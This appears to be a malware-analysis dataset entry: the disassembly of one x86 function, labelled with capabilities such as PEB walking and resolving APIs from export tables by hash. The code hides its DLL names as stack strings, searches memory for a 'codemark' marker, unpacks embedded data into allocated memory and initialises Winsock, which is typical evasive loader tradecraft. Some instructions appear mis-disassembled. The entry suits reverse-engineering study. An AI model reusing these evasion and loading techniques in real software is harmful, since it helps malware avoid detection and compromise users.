Function at 0x405a40
Capabilities:
Access peb ldr_data
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x224
mov eax, dword fs:[0x30]
add byte [eax], al
push ebx
xor ebx, ebx
mov dword [esp + 0x6c], ebx
mov dword [esp + 0x80], ebx
mov dword [esp + 0x84], ebx
mov dword [esp + 0x88], ebx
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
push esi
push edi
jmp 0x405aba
movzx ecx, word [eax + 0x24]
mov edx, dword [eax + 0x28]
shr ecx, 1
xor edi, edi
cmp ecx, ebx
jle 0x405aa6
movzx esi, word [edx]
add edx, 2
cmp esi, 0x61
jb 0x405a98
add esi, 0xffe0
imul edi, edi, 0x83
movzx esi, si
add edi, esi
dec ecx
jne 0x405a87
and edi, 0x7fffffff
cmp edi, 0x1cca9ce6
je 0x405bc8
mov eax, dword [eax]
cmp eax, ebx
jne 0x405a78
xor esi, esi
push ebx
push 0x1ab9b854
call fcn.00406219
push eax
push 0x7f201f78
mov dword [esp + 0x30], eax
call fcn.00406219
push dword [esp + 0x30]
mov dword [esp + 0x38], eax
push 0x5e893462
call fcn.00406219
push dword [esp + 0x38]
mov dword [esp + 0x44], eax
push 0x6488073
call fcn.00406219
push dword [esp + 0x40]
mov dword [esp + 0x50], eax
push 0x705cf2a5
call fcn.00406219
push dword [esp + 0x48]
mov dword [esp + 0x5c], eax
push 0x1705125a
call fcn.00406219
push dword [esp + 0x50]
mov dword [esp + 0x74], eax
push 0x40955b13
call fcn.00406219
in eax, 6
add byte [eax], al
push dword [esp + 0x58]
mov dword [esp + 0x70], eax
push 0x2541ded7
call fcn.00406219
add esp, 0x40
push dword [esp + 0x20]
mov dword [esp + 0x3c], eax
push 0x698402c
call fcn.00406219
pop ecx
mov dword [esp + 0x40], eax
pop ecx
lea eax, [esp + 0xc]
push eax
mov dword [esp + 0x10], 0x6c64746e
mov word [esp + 0x14], 0x6c
call dword [esp + 0x28]
push dword [esp + 0x20]
mov esi, eax
push 0xdb579cb
call fcn.00406219
push dword [esp + 0x28]
mov dword [esp + 0x50], eax
push 0x1518e9c0
call fcn.00406219
add esp, 0x10
push ebx
push ebx
push 1
push ebx
mov dword [esp + 0x58], eax
call dword [esp + 0x44]
mov esi, eax
push 0x7d0
push esi
call dword [esp + 0x40]
push esi
cmp eax, 0x102
je 0x405bd0
call dword [esp + 0x40]
jmp 0x405dc3
mov esi, dword [eax + 0x10]
jmp 0x405ac0
call dword [esp + 0x40]
call fcn.00406215
xor ecx, ecx
cmp byte [ecx + eax], 0x63
jne 0x405c12
cmp byte [ecx + eax + 1], 0x6f
jne 0x405c12
cmp byte [ecx + eax + 2], 0x64
jne 0x405c12
cmp byte [ecx + eax + 3], 0x65
jne 0x405c12
cmp byte [ecx + eax + 4], 0x6d
jne 0x405c12
cmp byte [ecx + eax + 5], 0x61
jne 0x405c12
cmp byte [ecx + eax + 6], 0x72
jne 0x405c12
cmp byte [ecx + eax + 7], 0x6b
je 0x405c20
inc ecx
cmp ecx, 0x5208
jl 0x405bdb
jmp 0x405cad
push 4
add eax, ecx
mov esi, 0x3000
push esi
mov dword [esp + 0x94], eax
push dword [eax + 0x20]
push ebx
call dword [esp + 0x38]
mov ecx, dword [esp + 0x8c]
mov dword [esp + 0x94], eax
push dword [ecx + 0x20]
push eax
call dword [esp + 0x4c]
mov eax, dword [esp + 0x8c]
push dword [eax + 0x20]
add eax, 0x38
push eax
push dword [esp + 0x9c]
call dword [esp + 0x54]
mov eax, dword [esp + 0x8c]
push 4
push esi
push dword [eax + 0x2c]
push ebx
call dword [esp + 0x38]
mov ecx, dword [esp + 0x8c]
mov dword [esp + 0x98], eax
push dword [ecx + 0x2c]
push eax
call dword [esp + 0x4c]
mov eax, dword [esp + 0x8c]
push dword [eax + 0x2c]
mov ecx, dword [eax + 0x20]
lea eax, [ecx + eax + 0x38]
push eax
push dword [esp + 0xa0]
call dword [esp + 0x54]
mov eax, dword [esp + 0x8c]
mov ecx, dword [eax + 0x2c]
add ecx, dword [eax + 0x20]
mov dword [esp + 0x14], 0x5f327357
lea eax, [ecx + eax + 0x38]
mov dword [esp + 0x90], eax
lea eax, [esp + 0x14]
push eax
mov dword [esp + 0x1c], 0x642e3233
mov word [esp + 0x20], 0x6c6c
mov byte [esp + 0x22], bl
call dword [esp + 0x28]
push dword [esp + 0x20]
mov esi, eax
push 0x33522634
call fcn.00406219
push dword [esp + 0x28]
mov dword [esp + 0x58], eax
push 0x26402d9f
call fcn.00406219
push dword [esp + 0x30]
mov dword [esp + 0x64], eax
push 0x41539501
call fcn.00406219
push dword [esp + 0x38]
mov dword [esp + 0x70], eax
push 0x785e7dd7
call fcn.00406219
push dword [esp + 0x40]
mov dword [esp + 0x7c], eax
push 0x313a84c8
call fcn.00406219
push dword [esp + 0x48]
mov dword [esp + 0x88], eax
push 0x92b50da
call fcn.00406219
push dword [esp + 0x50]
mov dword [esp + 0x94], eax
push 0xf8387dc
call fcn.00406219
push dword [esp + 0x58]
mov dword [esp + 0xa0], eax
push 0xf6134b2
call fcn.00406219
add esp, 0x40
push dword [esp + 0x20]
mov dword [esp + 0x6c], eax
push 0x14ac161b
call fcn.00406219
push dword [esp + 0x28]
mov dword [esp + 0x78], eax
push 0x4ff42ccf
call fcn.00406219
add esp, 0x10
mov dword [esp + 0x70], eax
lea eax, [esp + 0xa0]
push eax
push 0x202
call dword [esp + 0x54]
test eax, eax
je 0x405dcc
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 0x8c]
cmp byte [eax + 0x28], bl
push 1
lea ebx, [esp + 0x24]
je 0x405de5
call fcn.00405e0f
jmp 0x405dea
call fcn.00405fb1
mov eax, dword [esp + 0x90]
cmp byte [eax + 0x34], 0
pop ecx
push 2
lea ebx, [esp + 0x24]
je 0x405e05
call fcn.00405e0f
jmp 0x405e0a
call fcn.00405fb1
pop ecx
xor ebx, ebx
jmp 0x405dcc